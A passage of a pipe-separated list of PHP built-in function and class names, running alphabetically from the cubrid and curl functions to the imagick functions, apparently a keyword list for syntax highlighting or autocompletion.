ubrid_fetch_lengths|cubrid_fetch_object|cubrid_fetch_row|cubrid_field_flags|cubrid_field_len|cubrid_field_name|cubrid_field_seek|cubrid_field_table|cubrid_field_type|cubrid_free_result|cubrid_get|cubrid_get_autocommit|cubrid_get_charset|cubrid_get_class_name|cubrid_get_client_info|cubrid_get_db_parameter|cubrid_get_server_info|cubrid_insert_id|cubrid_is_instance|cubrid_list_dbs|cubrid_load_from_glo|cubrid_lob_close|cubrid_lob_export|cubrid_lob_get|cubrid_lob_send|cubrid_lob_size|cubrid_lock_read|cubrid_lock_write|cubrid_move_cursor|cubrid_new_glo|cubrid_next_result|cubrid_num_cols|cubrid_num_fields|cubrid_num_rows|cubrid_ping|cubrid_prepare|cubrid_put|cubrid_query|cubrid_real_escape_string|cubrid_result|cubrid_rollback|cubrid_save_to_glo|cubrid_schema|cubrid_send_glo|cubrid_seq_drop|cubrid_seq_insert|cubrid_seq_put|cubrid_set_add|cubrid_set_autocommit|cubrid_set_db_parameter|cubrid_set_drop|cubrid_unbuffered_query|cubrid_version|curl_close|curl_copy_handle|curl_errno|curl_error|curl_exec|curl_getinfo|curl_init|curl_multi_add_handle|curl_multi_close|curl_multi_exec|curl_multi_getcontent|curl_multi_info_read|curl_multi_init|curl_multi_remove_handle|curl_multi_select|curl_setopt|curl_setopt_array|curl_version|current|cyrus_authenticate|cyrus_bind|cyrus_close|cyrus_connect|cyrus_query|cyrus_unbind|date|date_add|date_create|date_create_from_format|date_date_set|date_default_timezone_get|date_default_timezone_set|date_diff|date_format|date_get_last_errors|date_interval_create_from_date_string|date_interval_format|date_isodate_set|date_modify|date_offset_get|date_parse|date_parse_from_format|date_sub|date_sun_info|date_sunrise|date_sunset|date_time_set|date_timestamp_get|date_timestamp_set|date_timezone_get|date_timezone_set|dateinterval|dateperiod|datetime|datetimezone|db2_autocommit|db2_bind_param|db2_client_info|db2_close|db2_column_privileges|db2_columns|db2_commit|db2_conn_error|db2_conn_errormsg|db2_connect|db2_cursor_type|db2_escape_string|db2_exec|db2_execute|db2_fetch_array|db2_fetch_assoc|db2_fetch_both|db2_fetch_object|db2_fetch_row|db2_field_display_size|db2_field_name|db2_field_num|db2_field_precision|db2_field_scale|db2_field_type|db2_field_width|db2_foreign_keys|db2_free_result|db2_free_stmt|db2_get_option|db2_last_insert_id|db2_lob_read|db2_next_result|db2_num_fields|db2_num_rows|db2_pclose|db2_pconnect|db2_prepare|db2_primary_keys|db2_procedure_columns|db2_procedures|db2_result|db2_rollback|db2_server_info|db2_set_option|db2_special_columns|db2_statistics|db2_stmt_error|db2_stmt_errormsg|db2_table_privileges|db2_tables|dba_close|dba_delete|dba_exists|dba_fetch|dba_firstkey|dba_handlers|dba_insert|dba_key_split|dba_list|dba_nextkey|dba_open|dba_optimize|dba_popen|dba_replace|dba_sync|dbase_add_record|dbase_close|dbase_create|dbase_delete_record|dbase_get_header_info|dbase_get_record|dbase_get_record_with_names|dbase_numfields|dbase_numrecords|dbase_open|dbase_pack|dbase_replace_record|dbplus_add|dbplus_aql|dbplus_chdir|dbplus_close|dbplus_curr|dbplus_errcode|dbplus_errno|dbplus_find|dbplus_first|dbplus_flush|dbplus_freealllocks|dbplus_freelock|dbplus_freerlocks|dbplus_getlock|dbplus_getunique|dbplus_info|dbplus_last|dbplus_lockrel|dbplus_next|dbplus_open|dbplus_prev|dbplus_rchperm|dbplus_rcreate|dbplus_rcrtexact|dbplus_rcrtlike|dbplus_resolve|dbplus_restorepos|dbplus_rkeys|dbplus_ropen|dbplus_rquery|dbplus_rrename|dbplus_rsecindex|dbplus_runlink|dbplus_rzap|dbplus_savepos|dbplus_setindex|dbplus_setindexbynumber|dbplus_sql|dbplus_tcl|dbplus_tremove|dbplus_undo|dbplus_undoprepare|dbplus_unlockrel|dbplus_unselect|dbplus_update|dbplus_xlockrel|dbplus_xunlockrel|dbx_close|dbx_compare|dbx_connect|dbx_error|dbx_escape_string|dbx_fetch_row|dbx_query|dbx_sort|dcgettext|dcngettext|deaggregate|debug_backtrace|debug_print_backtrace|debug_zval_dump|decbin|dechex|decoct|define|define_syslog_variables|defined|deg2rad|delete|dgettext|die|dio_close|dio_fcntl|dio_open|dio_read|dio_seek|dio_stat|dio_tcsetattr|dio_truncate|dio_write|dir|directoryiterator|dirname|disk_free_space|disk_total_space|diskfreespace|dl|dngettext|dns_check_record|dns_get_mx|dns_get_record|dom_import_simplexml|domainexception|domattr|domattribute_name|domattribute_set_value|domattribute_specified|domattribute_value|domcharacterdata|domcomment|domdocument|domdocument_add_root|domdocument_create_attribute|domdocument_create_cdata_section|domdocument_create_comment|domdocument_create_element|domdocument_create_element_ns|domdocument_create_entity_reference|domdocument_create_processing_instruction|domdocument_create_text_node|domdocument_doctype|domdocument_document_element|domdocument_dump_file|domdocument_dump_mem|domdocument_get_element_by_id|domdocument_get_elements_by_tagname|domdocument_html_dump_mem|domdocument_xinclude|domdocumentfragment|domdocumenttype|domdocumenttype_entities|domdocumenttype_internal_subset|domdocumenttype_name|domdocumenttype_notations|domdocumenttype_public_id|domdocumenttype_system_id|domelement|domelement_get_attribute|domelement_get_attribute_node|domelement_get_elements_by_tagname|domelement_has_attribute|domelement_remove_attribute|domelement_set_attribute|domelement_set_attribute_node|domelement_tagname|domentity|domentityreference|domexception|domimplementation|domnamednodemap|domnode|domnode_add_namespace|domnode_append_child|domnode_append_sibling|domnode_attributes|domnode_child_nodes|domnode_clone_node|domnode_dump_node|domnode_first_child|domnode_get_content|domnode_has_attributes|domnode_has_child_nodes|domnode_insert_before|domnode_is_blank_node|domnode_last_child|domnode_next_sibling|domnode_node_name|domnode_node_type|domnode_node_value|domnode_owner_document|domnode_parent_node|domnode_prefix|domnode_previous_sibling|domnode_remove_child|domnode_replace_child|domnode_replace_node|domnode_set_content|domnode_set_name|domnode_set_namespace|domnode_unlink_node|domnodelist|domnotation|domprocessinginstruction|domprocessinginstruction_data|domprocessinginstruction_target|domtext|domxml_new_doc|domxml_open_file|domxml_open_mem|domxml_version|domxml_xmltree|domxml_xslt_stylesheet|domxml_xslt_stylesheet_doc|domxml_xslt_stylesheet_file|domxml_xslt_version|domxpath|domxsltstylesheet_process|domxsltstylesheet_result_dump_file|domxsltstylesheet_result_dump_mem|dotnet|dotnet_load|doubleval|each|easter_date|easter_days|echo|empty|emptyiterator|enchant_broker_describe|enchant_broker_dict_exists|enchant_broker_free|enchant_broker_free_dict|enchant_broker_get_error|enchant_broker_init|enchant_broker_list_dicts|enchant_broker_request_dict|enchant_broker_request_pwl_dict|enchant_broker_set_ordering|enchant_dict_add_to_personal|enchant_dict_add_to_session|enchant_dict_check|enchant_dict_describe|enchant_dict_get_error|enchant_dict_is_in_session|enchant_dict_quick_check|enchant_dict_store_replacement|enchant_dict_suggest|end|ereg|ereg_replace|eregi|eregi_replace|error_get_last|error_log|error_reporting|errorexception|escapeshellarg|escapeshellcmd|eval|event_add|event_base_free|event_base_loop|event_base_loopbreak|event_base_loopexit|event_base_new|event_base_priority_init|event_base_set|event_buffer_base_set|event_buffer_disable|event_buffer_enable|event_buffer_fd_set|event_buffer_free|event_buffer_new|event_buffer_priority_set|event_buffer_read|event_buffer_set_callback|event_buffer_timeout_set|event_buffer_watermark_set|event_buffer_write|event_del|event_free|event_new|event_set|exception|exec|exif_imagetype|exif_read_data|exif_tagname|exif_thumbnail|exit|exp|expect_expectl|expect_popen|explode|expm1|export|export|extension_loaded|extract|ezmlm_hash|fam_cancel_monitor|fam_close|fam_monitor_collection|fam_monitor_directory|fam_monitor_file|fam_next_event|fam_open|fam_pending|fam_resume_monitor|fam_suspend_monitor|fbsql_affected_rows|fbsql_autocommit|fbsql_blob_size|fbsql_change_user|fbsql_clob_size|fbsql_close|fbsql_commit|fbsql_connect|fbsql_create_blob|fbsql_create_clob|fbsql_create_db|fbsql_data_seek|fbsql_database|fbsql_database_password|fbsql_db_query|fbsql_db_status|fbsql_drop_db|fbsql_errno|fbsql_error|fbsql_fetch_array|fbsql_fetch_assoc|fbsql_fetch_field|fbsql_fetch_lengths|fbsql_fetch_object|fbsql_fetch_row|fbsql_field_flags|fbsql_field_len|fbsql_field_name|fbsql_field_seek|fbsql_field_table|fbsql_field_type|fbsql_free_result|fbsql_get_autostart_info|fbsql_hostname|fbsql_insert_id|fbsql_list_dbs|fbsql_list_fields|fbsql_list_tables|fbsql_next_result|fbsql_num_fields|fbsql_num_rows|fbsql_password|fbsql_pconnect|fbsql_query|fbsql_read_blob|fbsql_read_clob|fbsql_result|fbsql_rollback|fbsql_rows_fetched|fbsql_select_db|fbsql_set_characterset|fbsql_set_lob_mode|fbsql_set_password|fbsql_set_transaction|fbsql_start_db|fbsql_stop_db|fbsql_table_name|fbsql_tablename|fbsql_username|fbsql_warnings|fclose|fdf_add_doc_javascript|fdf_add_template|fdf_close|fdf_create|fdf_enum_values|fdf_errno|fdf_error|fdf_get_ap|fdf_get_attachment|fdf_get_encoding|fdf_get_file|fdf_get_flags|fdf_get_opt|fdf_get_status|fdf_get_value|fdf_get_version|fdf_header|fdf_next_field_name|fdf_open|fdf_open_string|fdf_remove_item|fdf_save|fdf_save_string|fdf_set_ap|fdf_set_encoding|fdf_set_file|fdf_set_flags|fdf_set_javascript_action|fdf_set_on_import_javascript|fdf_set_opt|fdf_set_status|fdf_set_submit_form_action|fdf_set_target_frame|fdf_set_value|fdf_set_version|feof|fflush|fgetc|fgetcsv|fgets|fgetss|file|file_exists|file_get_contents|file_put_contents|fileatime|filectime|filegroup|fileinode|filemtime|fileowner|fileperms|filepro|filepro_fieldcount|filepro_fieldname|filepro_fieldtype|filepro_fieldwidth|filepro_retrieve|filepro_rowcount|filesize|filesystemiterator|filetype|filter_has_var|filter_id|filter_input|filter_input_array|filter_list|filter_var|filter_var_array|filteriterator|finfo_buffer|finfo_close|finfo_file|finfo_open|finfo_set_flags|floatval|flock|floor|flush|fmod|fnmatch|fopen|forward_static_call|forward_static_call_array|fpassthru|fprintf|fputcsv|fputs|fread|frenchtojd|fribidi_log2vis|fscanf|fseek|fsockopen|fstat|ftell|ftok|ftp_alloc|ftp_cdup|ftp_chdir|ftp_chmod|ftp_close|ftp_connect|ftp_delete|ftp_exec|ftp_fget|ftp_fput|ftp_get|ftp_get_option|ftp_login|ftp_mdtm|ftp_mkdir|ftp_nb_continue|ftp_nb_fget|ftp_nb_fput|ftp_nb_get|ftp_nb_put|ftp_nlist|ftp_pasv|ftp_put|ftp_pwd|ftp_quit|ftp_raw|ftp_rawlist|ftp_rename|ftp_rmdir|ftp_set_option|ftp_site|ftp_size|ftp_ssl_connect|ftp_systype|ftruncate|func_get_arg|func_get_args|func_num_args|function_exists|fwrite|gc_collect_cycles|gc_disable|gc_enable|gc_enabled|gd_info|gearmanclient|gearmanjob|gearmantask|gearmanworker|geoip_continent_code_by_name|geoip_country_code3_by_name|geoip_country_code_by_name|geoip_country_name_by_name|geoip_database_info|geoip_db_avail|geoip_db_filename|geoip_db_get_all_info|geoip_id_by_name|geoip_isp_by_name|geoip_org_by_name|geoip_record_by_name|geoip_region_by_name|geoip_region_name_by_code|geoip_time_zone_by_country_and_region|getMeta|getNamed|getValue|get_browser|get_called_class|get_cfg_var|get_class|get_class_methods|get_class_vars|get_current_user|get_declared_classes|get_declared_interfaces|get_defined_constants|get_defined_functions|get_defined_vars|get_extension_funcs|get_headers|get_html_translation_table|get_include_path|get_included_files|get_loaded_extensions|get_magic_quotes_gpc|get_magic_quotes_runtime|get_meta_tags|get_object_vars|get_parent_class|get_required_files|get_resource_type|getallheaders|getconstant|getconstants|getconstructor|getcwd|getdate|getdefaultproperties|getdoccomment|getendline|getenv|getextension|getextensionname|getfilename|gethostbyaddr|gethostbyname|gethostbynamel|gethostname|getimagesize|getinterfacenames|getinterfaces|getlastmod|getmethod|getmethods|getmodifiers|getmxrr|getmygid|getmyinode|getmypid|getmyuid|getname|getnamespacename|getopt|getparentclass|getproperties|getproperty|getprotobyname|getprotobynumber|getrandmax|getrusage|getservbyname|getservbyport|getshortname|getstartline|getstaticproperties|getstaticpropertyvalue|gettext|gettimeofday|gettype|glob|globiterator|gmagick|gmagickdraw|gmagickpixel|gmdate|gmmktime|gmp_abs|gmp_add|gmp_and|gmp_clrbit|gmp_cmp|gmp_com|gmp_div|gmp_div_q|gmp_div_qr|gmp_div_r|gmp_divexact|gmp_fact|gmp_gcd|gmp_gcdext|gmp_hamdist|gmp_init|gmp_intval|gmp_invert|gmp_jacobi|gmp_legendre|gmp_mod|gmp_mul|gmp_neg|gmp_nextprime|gmp_or|gmp_perfect_square|gmp_popcount|gmp_pow|gmp_powm|gmp_prob_prime|gmp_random|gmp_scan0|gmp_scan1|gmp_setbit|gmp_sign|gmp_sqrt|gmp_sqrtrem|gmp_strval|gmp_sub|gmp_testbit|gmp_xor|gmstrftime|gnupg_adddecryptkey|gnupg_addencryptkey|gnupg_addsignkey|gnupg_cleardecryptkeys|gnupg_clearencryptkeys|gnupg_clearsignkeys|gnupg_decrypt|gnupg_decryptverify|gnupg_encrypt|gnupg_encryptsign|gnupg_export|gnupg_geterror|gnupg_getprotocol|gnupg_import|gnupg_init|gnupg_keyinfo|gnupg_setarmor|gnupg_seterrormode|gnupg_setsignmode|gnupg_sign|gnupg_verify|gopher_parsedir|grapheme_extract|grapheme_stripos|grapheme_stristr|grapheme_strlen|grapheme_strpos|grapheme_strripos|grapheme_strrpos|grapheme_strstr|grapheme_substr|gregoriantojd|gupnp_context_get_host_ip|gupnp_context_get_port|gupnp_context_get_subscription_timeout|gupnp_context_host_path|gupnp_context_new|gupnp_context_set_subscription_timeout|gupnp_context_timeout_add|gupnp_context_unhost_path|gupnp_control_point_browse_start|gupnp_control_point_browse_stop|gupnp_control_point_callback_set|gupnp_control_point_new|gupnp_device_action_callback_set|gupnp_device_info_get|gupnp_device_info_get_service|gupnp_root_device_get_available|gupnp_root_device_get_relative_location|gupnp_root_device_new|gupnp_root_device_set_available|gupnp_root_device_start|gupnp_root_device_stop|gupnp_service_action_get|gupnp_service_action_return|gupnp_service_action_return_error|gupnp_service_action_set|gupnp_service_freeze_notify|gupnp_service_info_get|gupnp_service_info_get_introspection|gupnp_service_introspection_get_state_variable|gupnp_service_notify|gupnp_service_proxy_action_get|gupnp_service_proxy_action_set|gupnp_service_proxy_add_notify|gupnp_service_proxy_callback_set|gupnp_service_proxy_get_subscribed|gupnp_service_proxy_remove_notify|gupnp_service_proxy_set_subscribed|gupnp_service_thaw_notify|gzclose|gzcompress|gzdecode|gzdeflate|gzencode|gzeof|gzfile|gzgetc|gzgets|gzgetss|gzinflate|gzopen|gzpassthru|gzputs|gzread|gzrewind|gzseek|gztell|gzuncompress|gzwrite|halt_compiler|haruannotation|haruannotation_setborderstyle|haruannotation_sethighlightmode|haruannotation_seticon|haruannotation_setopened|harudestination|harudestination_setfit|harudestination_setfitb|harudestination_setfitbh|harudestination_setfitbv|harudestination_setfith|harudestination_setfitr|harudestination_setfitv|harudestination_setxyz|harudoc|harudoc_addpage|harudoc_addpagelabel|harudoc_construct|harudoc_createoutline|harudoc_getcurrentencoder|harudoc_getcurrentpage|harudoc_getencoder|harudoc_getfont|harudoc_getinfoattr|harudoc_getpagelayout|harudoc_getpagemode|harudoc_getstreamsize|harudoc_insertpage|harudoc_loadjpeg|harudoc_loadpng|harudoc_loadraw|harudoc_loadttc|harudoc_loadttf|harudoc_loadtype1|harudoc_output|harudoc_readfromstream|harudoc_reseterror|harudoc_resetstream|harudoc_save|harudoc_savetostream|harudoc_setcompressionmode|harudoc_setcurrentencoder|harudoc_setencryptionmode|harudoc_setinfoattr|harudoc_setinfodateattr|harudoc_setopenaction|harudoc_setpagelayout|harudoc_setpagemode|harudoc_setpagesconfiguration|harudoc_setpassword|harudoc_setpermission|harudoc_usecnsencodings|harudoc_usecnsfonts|harudoc_usecntencodings|harudoc_usecntfonts|harudoc_usejpencodings|harudoc_usejpfonts|harudoc_usekrencodings|harudoc_usekrfonts|haruencoder|haruencoder_getbytetype|haruencoder_gettype|haruencoder_getunicode|haruencoder_getwritingmode|haruexception|harufont|harufont_getascent|harufont_getcapheight|harufont_getdescent|harufont_getencodingname|harufont_getfontname|harufont_gettextwidth|harufont_getunicodewidth|harufont_getxheight|harufont_measuretext|haruimage|haruimage_getbitspercomponent|haruimage_getcolorspace|haruimage_getheight|haruimage_getsize|haruimage_getwidth|haruimage_setcolormask|haruimage_setmaskimage|haruoutline|haruoutline_setdestination|haruoutline_setopened|harupage|harupage_arc|harupage_begintext|harupage_circle|harupage_closepath|harupage_concat|harupage_createdestination|harupage_createlinkannotation|harupage_createtextannotation|harupage_createurlannotation|harupage_curveto|harupage_curveto2|harupage_curveto3|harupage_drawimage|harupage_ellipse|harupage_endpath|harupage_endtext|harupage_eofill|harupage_eofillstroke|harupage_fill|harupage_fillstroke|harupage_getcharspace|harupage_getcmykfill|harupage_getcmykstroke|harupage_getcurrentfont|harupage_getcurrentfontsize|harupage_getcurrentpos|harupage_getcurrenttextpos|harupage_getdash|harupage_getfillingcolorspace|harupage_getflatness|harupage_getgmode|harupage_getgrayfill|harupage_getgraystroke|harupage_getheight|harupage_gethorizontalscaling|harupage_getlinecap|harupage_getlinejoin|harupage_getlinewidth|harupage_getmiterlimit|harupage_getrgbfill|harupage_getrgbstroke|harupage_getstrokingcolorspace|harupage_gettextleading|harupage_gettextmatrix|harupage_gettextrenderingmode|harupage_gettextrise|harupage_gettextwidth|harupage_gettransmatrix|harupage_getwidth|harupage_getwordspace|harupage_lineto|harupage_measuretext|harupage_movetextpos|harupage_moveto|harupage_movetonextline|harupage_rectangle|harupage_setcharspace|harupage_setcmykfill|harupage_setcmykstroke|harupage_setdash|harupage_setflatness|harupage_setfontandsize|harupage_setgrayfill|harupage_setgraystroke|harupage_setheight|harupage_sethorizontalscaling|harupage_setlinecap|harupage_setlinejoin|harupage_setlinewidth|harupage_setmiterlimit|harupage_setrgbfill|harupage_setrgbstroke|harupage_setrotate|harupage_setsize|harupage_setslideshow|harupage_settextleading|harupage_settextmatrix|harupage_settextrenderingmode|harupage_settextrise|harupage_setwidth|harupage_setwordspace|harupage_showtext|harupage_showtextnextline|harupage_stroke|harupage_textout|harupage_textrect|hasconstant|hash|hash_algos|hash_copy|hash_file|hash_final|hash_hmac|hash_hmac_file|hash_init|hash_update|hash_update_file|hash_update_stream|hasmethod|hasproperty|header|header_register_callback|header_remove|headers_list|headers_sent|hebrev|hebrevc|hex2bin|hexdec|highlight_file|highlight_string|html_entity_decode|htmlentities|htmlspecialchars|htmlspecialchars_decode|http_build_cookie|http_build_query|http_build_str|http_build_url|http_cache_etag|http_cache_last_modified|http_chunked_decode|http_date|http_deflate|http_get|http_get_request_body|http_get_request_body_stream|http_get_request_headers|http_head|http_inflate|http_match_etag|http_match_modified|http_match_request_header|http_negotiate_charset|http_negotiate_content_type|http_negotiate_language|http_parse_cookie|http_parse_headers|http_parse_message|http_parse_params|http_persistent_handles_clean|http_persistent_handles_count|http_persistent_handles_ident|http_post_data|http_post_fields|http_put_data|http_put_file|http_put_stream|http_redirect|http_request|http_request_body_encode|http_request_method_exists|http_request_method_name|http_request_method_register|http_request_method_unregister|http_response_code|http_send_content_disposition|http_send_content_type|http_send_data|http_send_file|http_send_last_modified|http_send_status|http_send_stream|http_support|http_throttle|httpdeflatestream|httpdeflatestream_construct|httpdeflatestream_factory|httpdeflatestream_finish|httpdeflatestream_flush|httpdeflatestream_update|httpinflatestream|httpinflatestream_construct|httpinflatestream_factory|httpinflatestream_finish|httpinflatestream_flush|httpinflatestream_update|httpmessage|httpmessage_addheaders|httpmessage_construct|httpmessage_detach|httpmessage_factory|httpmessage_fromenv|httpmessage_fromstring|httpmessage_getbody|httpmessage_getheader|httpmessage_getheaders|httpmessage_gethttpversion|httpmessage_getparentmessage|httpmessage_getrequestmethod|httpmessage_getrequesturl|httpmessage_getresponsecode|httpmessage_getresponsestatus|httpmessage_gettype|httpmessage_guesscontenttype|httpmessage_prepend|httpmessage_reverse|httpmessage_send|httpmessage_setbody|httpmessage_setheaders|httpmessage_sethttpversion|httpmessage_setrequestmethod|httpmessage_setrequesturl|httpmessage_setresponsecode|httpmessage_setresponsestatus|httpmessage_settype|httpmessage_tomessagetypeobject|httpmessage_tostring|httpquerystring|httpquerystring_construct|httpquerystring_get|httpquerystring_mod|httpquerystring_set|httpquerystring_singleton|httpquerystring_toarray|httpquerystring_tostring|httpquerystring_xlate|httprequest|httprequest_addcookies|httprequest_addheaders|httprequest_addpostfields|httprequest_addpostfile|httprequest_addputdata|httprequest_addquerydata|httprequest_addrawpostdata|httprequest_addssloptions|httprequest_clearhistory|httprequest_construct|httprequest_enablecookies|httprequest_getcontenttype|httprequest_getcookies|httprequest_getheaders|httprequest_gethistory|httprequest_getmethod|httprequest_getoptions|httprequest_getpostfields|httprequest_getpostfiles|httprequest_getputdata|httprequest_getputfile|httprequest_getquerydata|httprequest_getrawpostdata|httprequest_getrawrequestmessage|httprequest_getrawresponsemessage|httprequest_getrequestmessage|httprequest_getresponsebody|httprequest_getresponsecode|httprequest_getresponsecookies|httprequest_getresponsedata|httprequest_getresponseheader|httprequest_getresponseinfo|httprequest_getresponsemessage|httprequest_getresponsestatus|httprequest_getssloptions|httprequest_geturl|httprequest_resetcookies|httprequest_send|httprequest_setcontenttype|httprequest_setcookies|httprequest_setheaders|httprequest_setmethod|httprequest_setoptions|httprequest_setpostfields|httprequest_setpostfiles|httprequest_setputdata|httprequest_setputfile|httprequest_setquerydata|httprequest_setrawpostdata|httprequest_setssloptions|httprequest_seturl|httprequestpool|httprequestpool_attach|httprequestpool_construct|httprequestpool_destruct|httprequestpool_detach|httprequestpool_getattachedrequests|httprequestpool_getfinishedrequests|httprequestpool_reset|httprequestpool_send|httprequestpool_socketperform|httprequestpool_socketselect|httpresponse|httpresponse_capture|httpresponse_getbuffersize|httpresponse_getcache|httpresponse_getcachecontrol|httpresponse_getcontentdisposition|httpresponse_getcontenttype|httpresponse_getdata|httpresponse_getetag|httpresponse_getfile|httpresponse_getgzip|httpresponse_getheader|httpresponse_getlastmodified|httpresponse_getrequestbody|httpresponse_getrequestbodystream|httpresponse_getrequestheaders|httpresponse_getstream|httpresponse_getthrottledelay|httpresponse_guesscontenttype|httpresponse_redirect|httpresponse_send|httpresponse_setbuffersize|httpresponse_setcache|httpresponse_setcachecontrol|httpresponse_setcontentdisposition|httpresponse_setcontenttype|httpresponse_setdata|httpresponse_setetag|httpresponse_setfile|httpresponse_setgzip|httpresponse_setheader|httpresponse_setlastmodified|httpresponse_setstream|httpresponse_setthrottledelay|httpresponse_status|hw_array2objrec|hw_changeobject|hw_children|hw_childrenobj|hw_close|hw_connect|hw_connection_info|hw_cp|hw_deleteobject|hw_docbyanchor|hw_docbyanchorobj|hw_document_attributes|hw_document_bodytag|hw_document_content|hw_document_setcontent|hw_document_size|hw_dummy|hw_edittext|hw_error|hw_errormsg|hw_free_document|hw_getanchors|hw_getanchorsobj|hw_getandlock|hw_getchildcoll|hw_getchildcollobj|hw_getchilddoccoll|hw_getchilddoccollobj|hw_getobject|hw_getobjectbyquery|hw_getobjectbyquerycoll|hw_getobjectbyquerycollobj|hw_getobjectbyqueryobj|hw_getparents|hw_getparentsobj|hw_getrellink|hw_getremote|hw_getremotechildren|hw_getsrcbydestobj|hw_gettext|hw_getusername|hw_identify|hw_incollections|hw_info|hw_inscoll|hw_insdoc|hw_insertanchors|hw_insertdocument|hw_insertobject|hw_mapid|hw_modifyobject|hw_mv|hw_new_document|hw_objrec2array|hw_output_document|hw_pconnect|hw_pipedocument|hw_root|hw_setlinkroot|hw_stat|hw_unlock|hw_who|hwapi_attribute|hwapi_attribute_key|hwapi_attribute_langdepvalue|hwapi_attribute_value|hwapi_attribute_values|hwapi_checkin|hwapi_checkout|hwapi_children|hwapi_content|hwapi_content_mimetype|hwapi_content_read|hwapi_copy|hwapi_dbstat|hwapi_dcstat|hwapi_dstanchors|hwapi_dstofsrcanchor|hwapi_error_count|hwapi_error_reason|hwapi_find|hwapi_ftstat|hwapi_hgcsp|hwapi_hwstat|hwapi_identify|hwapi_info|hwapi_insert|hwapi_insertanchor|hwapi_insertcollection|hwapi_insertdocument|hwapi_link|hwapi_lock|hwapi_move|hwapi_new_content|hwapi_object|hwapi_object_assign|hwapi_object_attreditable|hwapi_object_count|hwapi_object_insert|hwapi_object_new|hwapi_object_remove|hwapi_object_title|hwapi_object_value|hwapi_objectbyanchor|hwapi_parents|hwapi_reason_description|hwapi_reason_type|hwapi_remove|hwapi_replace|hwapi_setcommittedversion|hwapi_srcanchors|hwapi_srcsofdst|hwapi_unlock|hwapi_user|hwapi_userlist|hypot|ibase_add_user|ibase_affected_rows|ibase_backup|ibase_blob_add|ibase_blob_cancel|ibase_blob_close|ibase_blob_create|ibase_blob_echo|ibase_blob_get|ibase_blob_import|ibase_blob_info|ibase_blob_open|ibase_close|ibase_commit|ibase_commit_ret|ibase_connect|ibase_db_info|ibase_delete_user|ibase_drop_db|ibase_errcode|ibase_errmsg|ibase_execute|ibase_fetch_assoc|ibase_fetch_object|ibase_fetch_row|ibase_field_info|ibase_free_event_handler|ibase_free_query|ibase_free_result|ibase_gen_id|ibase_maintain_db|ibase_modify_user|ibase_name_result|ibase_num_fields|ibase_num_params|ibase_param_info|ibase_pconnect|ibase_prepare|ibase_query|ibase_restore|ibase_rollback|ibase_rollback_ret|ibase_server_info|ibase_service_attach|ibase_service_detach|ibase_set_event_handler|ibase_timefmt|ibase_trans|ibase_wait_event|iconv|iconv_get_encoding|iconv_mime_decode|iconv_mime_decode_headers|iconv_mime_encode|iconv_set_encoding|iconv_strlen|iconv_strpos|iconv_strrpos|iconv_substr|id3_get_frame_long_name|id3_get_frame_short_name|id3_get_genre_id|id3_get_genre_list|id3_get_genre_name|id3_get_tag|id3_get_version|id3_remove_tag|id3_set_tag|id3v2attachedpictureframe|id3v2frame|id3v2tag|idate|idn_to_ascii|idn_to_unicode|idn_to_utf8|ifx_affected_rows|ifx_blobinfile_mode|ifx_byteasvarchar|ifx_close|ifx_connect|ifx_copy_blob|ifx_create_blob|ifx_create_char|ifx_do|ifx_error|ifx_errormsg|ifx_fetch_row|ifx_fieldproperties|ifx_fieldtypes|ifx_free_blob|ifx_free_char|ifx_free_result|ifx_get_blob|ifx_get_char|ifx_getsqlca|ifx_htmltbl_result|ifx_nullformat|ifx_num_fields|ifx_num_rows|ifx_pconnect|ifx_prepare|ifx_query|ifx_textasvarchar|ifx_update_blob|ifx_update_char|ifxus_close_slob|ifxus_create_slob|ifxus_free_slob|ifxus_open_slob|ifxus_read_slob|ifxus_seek_slob|ifxus_tell_slob|ifxus_write_slob|ignore_user_abort|iis_add_server|iis_get_dir_security|iis_get_script_map|iis_get_server_by_comment|iis_get_server_by_path|iis_get_server_rights|iis_get_service_state|iis_remove_server|iis_set_app_settings|iis_set_dir_security|iis_set_script_map|iis_set_server_rights|iis_start_server|iis_start_service|iis_stop_server|iis_stop_service|image2wbmp|image_type_to_extension|image_type_to_mime_type|imagealphablending|imageantialias|imagearc|imagechar|imagecharup|imagecolorallocate|imagecolorallocatealpha|imagecolorat|imagecolorclosest|imagecolorclosestalpha|imagecolorclosesthwb|imagecolordeallocate|imagecolorexact|imagecolorexactalpha|imagecolormatch|imagecolorresolve|imagecolorresolvealpha|imagecolorset|imagecolorsforindex|imagecolorstotal|imagecolortransparent|imageconvolution|imagecopy|imagecopymerge|imagecopymergegray|imagecopyresampled|imagecopyresized|imagecreate|imagecreatefromgd|imagecreatefromgd2|imagecreatefromgd2part|imagecreatefromgif|imagecreatefromjpeg|imagecreatefrompng|imagecreatefromstring|imagecreatefromwbmp|imagecreatefromxbm|imagecreatefromxpm|imagecreatetruecolor|imagedashedline|imagedestroy|imageellipse|imagefill|imagefilledarc|imagefilledellipse|imagefilledpolygon|imagefilledrectangle|imagefilltoborder|imagefilter|imagefontheight|imagefontwidth|imageftbbox|imagefttext|imagegammacorrect|imagegd|imagegd2|imagegif|imagegrabscreen|imagegrabwindow|imageinterlace|imageistruecolor|imagejpeg|imagelayereffect|imageline|imageloadfont|imagepalettecopy|imagepng|imagepolygon|imagepsbbox|imagepsencodefont|imagepsextendfont|imagepsfreefont|imagepsloadfont|imagepsslantfont|imagepstext|imagerectangle|imagerotate|imagesavealpha|imagesetbrush|imagesetpixel|imagesetstyle|imagesetthickness|imagesettile|imagestring|imagestringup|imagesx|imagesy|imagetruecolortopalette|imagettfbbox|imagettftext|imagetypes|imagewbmp|imagexbm|imagick|imagick_adaptiveblurimage|imagick_adaptiveresizeimage|imagick_adaptivesharpenimage|imagick_adaptivethresholdimage|imagick_addimage|imagick_addnoiseimage|imagick_affinetransformimage|imagick_animateimages|imagick_annotateimage|imagick_appendimages|imagick_averageimages|imagick_blackthresholdimage|imagick_blurimage|imagick_borderimage|imagick_charcoalimage|imagick_chopimage|imagick_clear|imagick_clipimage|imagick_clippathimage|imagick_clone|imagick_clutimage|imagick_coalesceimages|imagick_colorfloodfillimage|imagick_colorizeimage|imagick_combineimages|imagick_commentimage|imagick_compareimagechannels|imagick_compareimagelayers|imagick_compareimages|imagick_compositeimage|imagick_construct|imagick_contrastimage|imagick_contraststretchimage|imagick_convolveimage|imagick_cropimage|imagick_cropthumbnailimage|imagick_current|imagick_cyclecolormapimage|imagick_decipherimage|imagick_deconstructimages|imagick_deleteimageartifact|imagick_despeckleimage|imagick_destroy|imagick_displayimage|imagick_displayimages|imagick_distortimage|imagick_drawimage|imagick_edgeimage|imagick_embossimage|imagick_encipherimage|imagick_enhanceimage|imagick_equalizeimage|imagick_evaluateimage|imagick_extentimage|imagick_flattenimages|imagick_flipimage|imagick_floodfillpaintimage|imagick_flopimage|imagick_